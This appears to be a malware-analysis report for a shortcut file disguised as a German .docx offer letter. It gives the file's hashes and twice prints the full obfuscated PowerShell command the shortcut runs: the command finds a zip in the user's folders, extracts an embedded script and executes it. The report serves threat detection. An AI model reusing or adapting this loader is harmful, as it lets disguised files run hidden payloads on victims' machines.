|
Hash | Hash Value |
|---|---|
| MD5 | f24d90b49e70ff6ffa9b6764db5d2eb7
|
| Sha1 | f6942f623d841692435adae3807606322a426024
|
| Sha256 | c283d62a0b3a8b073dc436c71611f6d1ecb324b70a4f1c5cd46ec9b4beccd02e
|
| Sha384 | 3de4702ab2e271e7a8b4b1eec0aad5eca8a811ae138bfa1db940625b2ea01db5e058a6300c9496b05e84279ac16c4950
|
| Sha512 | 4774f55f728b3f176b211eac7ff805daca9850f387f664c58a1fb8bbfb2e21009d0ffe0450d7810b588ee67550382686b6a8ccd984a49cb05492350d206313cf
|
| SSDeep | 768:ryB8LcwkhxPXrH+DIMFRdph58OovRWK+7DScDXDHeFnAih6kiERb:ryGLM+DI6XovRWPDhDT+au6tCb
|
| TLSH | 2FF2D09011E3B8E6AD43257388F90F9C23574E6D3444D63DEE28E4CD0C90EA8EAE755B
|
|
Name0 | Value |
|---|---|
| LNK: Command Execution | Powershell.exe -w 1 -nologo $YE='Z\Documents','L\Desktop','l.zip','o\','fweMdezSO','tscriptblock','L\Downloads','lAllDirectories','uDienstangebot_Schlegtendal_P_05-05-26'|%({$_.substring(([string]$verbosepreference).IndexOf('i'))});$rjIp=$YE[8];$o=$rjIp+$YE[2];$mCm=$env:USERPROFILE+$YE[3]+$o+$YE[3]+$o;$RFQ=[IO.File]::Exists($mCm);if(!$RFQ) {$e=$YE[7];$mCm=$YE[0],$YE[1],$YE[6]|foreach{$env:USERPROFILE+$_}|foreach{try{[IO.Directory]::getfiles($_,$o,$e)}catch{}}|select -f 1;};if(!$mCm){return};$hAq=$YE[4];$BKHpE=$hAq.length+1;$tRlf=[IO.File]::ReadLines($mCm)|?{$_ -match $hAq}|select -f 1;if(!$tRlf){return};$Iu=$tRlf.substring($BKHpE);$V=[type]$YE[5];$bwl=$V::create($Iu);& $bwl $mCm; |
|
Name0 | Value | Location |
|---|---|---|
| LNK: Command Execution | Powershell.exe -w 1 -nologo $YE='Z\Documents','L\Desktop','l.zip','o\','fweMdezSO','tscriptblock','L\Downloads','lAllDirectories','uDienstangebot_Schlegtendal_P_05-05-26'|%({$_.substring(([string]$verbosepreference).IndexOf('i'))});$rjIp=$YE[8];$o=$rjIp+$YE[2];$mCm=$env:USERPROFILE+$YE[3]+$o+$YE[3]+$o;$RFQ=[IO.File]::Exists($mCm);if(!$RFQ) {$e=$YE[7];$mCm=$YE[0],$YE[1],$YE[6]|foreach{$env:USERPROFILE+$_}|foreach{try{[IO.Directory]::getfiles($_,$o,$e)}catch{}}|select -f 1;};if(!$mCm){return};$hAq=$YE[4];$BKHpE=$hAq.length+1;$tRlf=[IO.File]::ReadLines($mCm)|?{$_ -match $hAq}|select -f 1;if(!$tRlf){return};$Iu=$tRlf.substring($BKHpE);$V=[type]$YE[5];$bwl=$V::create($Iu);& $bwl $mCm; Malicious |
f24d90b49e70ff6ffa9b6764db5d2eb7 > Dienstangebot_P_Schlegtendal_05-05-26.docx.lnk |